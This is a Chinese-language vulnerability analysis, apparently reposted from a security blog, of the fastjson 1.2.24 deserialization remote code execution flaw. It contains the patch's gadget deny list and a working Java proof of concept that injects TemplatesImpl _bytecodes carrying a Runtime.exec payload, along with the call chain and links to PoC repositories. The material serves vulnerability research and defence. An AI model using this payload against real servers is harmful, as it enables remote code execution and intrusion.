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Fastjson 远程反序列化程序验证的构造和分析

fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

关于漏洞的具体详情可参考 :https://github.com/alibaba/fastjson/wiki/security_update_20170315

受影响的版本

fastjson <= 1.2.24

静态分析

根据官方给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。

具体包括:

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,
org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.
comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,
org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

下面我们来分析checkAutoType的函数实现:

核心部分就是denyList的处理过程,遍历denyList,如果引入的库以denyList中某个deny打头,就会抛出异常,中断运行。

程序验证构造

静态分析得知,要构造一个可用的程序,肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时,当时就尝试构造验证程序,怎奈fastjson的代码确实庞大,还有asm机制,通过asm机制生成的临时代码下不了断点。当时也只能通过在通过类初始化的时候弹出一个计算器,很显然这个构造方式不具有通用性,最近jackson爆出反序列漏洞,其中就利用了TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,简直不能再更妙,这就解决了fastjson通过字段传入一个类,再通过这个类执行有害代码。后来阅读ysoserial的代码时也发现在gadgets.java这个文件中也使用到了这个类来动态生成可执行命令的代码。

下面是一个程序验证的代码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
import java.io.IOException;
 
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
 
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
 
    }
 
    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

 

这个是Test.java的实现,在Test.java的构造函数中执行了一条命令,弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。让我们接着分析:

package person;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
 
/**
 * Created by web on 2017/4/29.
 */
public class P{
 
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
       
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    }
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

 

 

 

 

在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,弹计算器的图中展示了但是实际运行却没有使用,只能依赖于jdk的实现,作者在1.8.0_25,1.7.0_05测试都能弹出计算器,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。

接下来我们看下TemplatesImpl.java的几个关键函数:

 public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

 



    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

 

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

 

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

 

在getTransletInstance调用defineTransletClasses,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,也也就到了最终的执行命令的位置Runtime.getRuntime.exec()

下面我们上一张调用链的图:

简单来说就是:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

 

附上一张成功执行图:

总结

该程序验证的影响jdk 1.7,1.8版本,1.6未测试,但是需要在parseObject的时候设置Feature.SupportNonPublicField。

 

from http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

拓展阅读(点评/知识):

POC:

 

https://github.com/shengqi158/fastjson-remote-code-execute-poc

https://github.com/hkylin/fastjson-remote-code-execute-poc

 

fastjson remote code execute poc 直接用intellij IDEA打开即可 首先编译得到Test.class,然后运行Poc.java

本文标题:Fastjson 远程反序列化程序验证的构造和分析
English Title:The construction and analysis of the verification of the Fastjson remote anti serialization
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2017/0502_1877.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » Fastjson 远程反序列化程序验证的构造和分析
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